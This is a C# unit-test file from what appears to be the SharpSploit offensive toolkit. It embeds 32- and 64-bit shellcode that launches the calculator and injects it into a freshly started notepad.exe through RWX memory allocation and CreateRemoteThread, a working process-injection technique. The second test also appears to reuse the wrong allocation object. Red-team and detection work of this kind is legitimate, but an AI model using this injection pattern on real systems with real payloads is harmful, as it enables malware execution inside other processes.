﻿using System;
using System.Diagnostics;
using System.Threading;
using Microsoft.VisualStudio.TestTools.UnitTesting;

using SharpSploit.Enumeration;
using SharpSploit.Execution;
using SharpSploit.Execution.Injection;

namespace SharpSploit.Tests.Execution.Injection
{
    [TestClass]
    public class InjectionTests
    {
        private readonly byte[] Calc32bitShellCode = new byte[]
        {
            0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
            0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
            0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
            0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
            0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
            0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
            0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
            0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
            0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
            0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
            0x61,0x6c,0x63,0x00
        };
        private readonly byte[] Calc64bitShellCode = new byte[]
        {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
        };

        [TestMethod]
        public void TestRemoteThreadCreateSectionMap()
        {
            // These options could also be passed in as optional parameters in the constructors
            RemoteThreadCreate injectionTechnique = new RemoteThreadCreate
            {
                api = RemoteThreadCreate.APIS.CreateRemoteThread,
                suspended = false
            };

            SectionMapAllocationTechnique secMapAlloc = new SectionMapAllocationTechnique
            {
                localSectionPermissions = Win32.WinNT.PAGE_READWRITE,
                remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE,
                sectionAttributes = Win32.WinNT.SEC_COMMIT
            };

            Process notepadProcess = Process.Start("notepad.exe");

            // Check the architecture of the process
            PICPayload payload = Host.IsWow64(notepadProcess) ? new PICPayload(Calc32bitShellCode) : new PICPayload(Calc64bitShellCode);

            secMapAlloc.Allocate(payload, notepadProcess);

            // For every payload type, both the injectionTechnique and the allocationTechnique would have
            // overloads of Inject() and Allocate() that handle logic relevant to the specific payload type

            // Perform injection using the magic of OOP polymorphism and function overloads!
            Assert.IsTrue(Injector.Inject(payload, secMapAlloc, injectionTechnique, notepadProcess));

            Thread.Sleep(2000);
            notepadProcess.Kill();
            // If this code were for Process Hollowing, you could use the Allocate function in your Allocation Technique on your new, suspended process. Then overwrite the PEB appropriately.
            // Point being, Techniques like that that rely on complex logic beyond simple primitives would be implemented in separate classes, leveraging the Injection API as useful.
        }

        [TestMethod]
        public void TestRemoteThreadCreateVirtualAlloc()
        {
            // These options could also be passed in as optional parameters in the constructors

            RemoteThreadCreate injectionTechnique = new RemoteThreadCreate
            {
                api = RemoteThreadCreate.APIS.CreateRemoteThread,
                suspended = false
            };

            VirtualAllocAllocationTechnique virtAlloc = new VirtualAllocAllocationTechnique(
                Win32.Kernel32.AllocationType.Commit | Win32.Kernel32.AllocationType.Reserve,
                Win32.Kernel32.MemoryProtection.ExecuteReadWrite,
                VirtualAllocAllocationTechnique.AllocationAPI.NtAllocateVirtualMemory,
                VirtualAllocAllocationTechnique.WriteAPI.NtWriteVirtualMemory
            );

            Process notepadProcess = Process.Start("notepad.exe");

            // Check the architecture of the process
            PICPayload payload = Host.IsWow64(notepadProcess) ? new PICPayload(Calc32bitShellCode) : new PICPayload(Calc64bitShellCode);

            virtAlloc.Allocate(payload, notepadProcess);

            // For every payload type, both the injectionTechnique and the allocationTechnique would have
            // overloads of Inject() and Allocate() that handle logic relevant to the specific payload type

            // Perform injection using the magic of OOP polymorphism and function overloads!
            Assert.IsTrue(Injector.Inject(payload, virtAlloc, injectionTechnique, notepadProcess));

            // If this code were for Process Hollowing, you could use the Allocate function in your Allocation Technique on your new, suspended process. Then overwrite the PEB appropriately.
            // Point being, Techniques like that that rely on complex logic beyond simple primitives would be implemented in separate classes, leveraging the Injection API as useful.

            Thread.Sleep(2000);
            notepadProcess.Kill();

            // VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
            VirtualAllocAllocationTechnique virtAlloc2 = new VirtualAllocAllocationTechnique(
                Win32.Kernel32.AllocationType.Commit | Win32.Kernel32.AllocationType.Reserve,
                Win32.Kernel32.MemoryProtection.ExecuteReadWrite,
                VirtualAllocAllocationTechnique.AllocationAPI.VirtualAllocEx,
                VirtualAllocAllocationTechnique.WriteAPI.WriteProcessMemory
            );
            notepadProcess = Process.Start("notepad.exe");
            // Check the architecture of the process
            payload = Host.IsWow64(notepadProcess) ? new PICPayload(this.Calc32bitShellCode) : new PICPayload(this.Calc64bitShellCode);
            virtAlloc.Allocate(payload, notepadProcess);
            // Perform injection using the magic of OOP polymorphism and function overloads!
            Assert.IsTrue(Injector.Inject(payload, virtAlloc2, injectionTechnique, notepadProcess));

            Thread.Sleep(2000);
            notepadProcess.Kill();
        }
    }
}
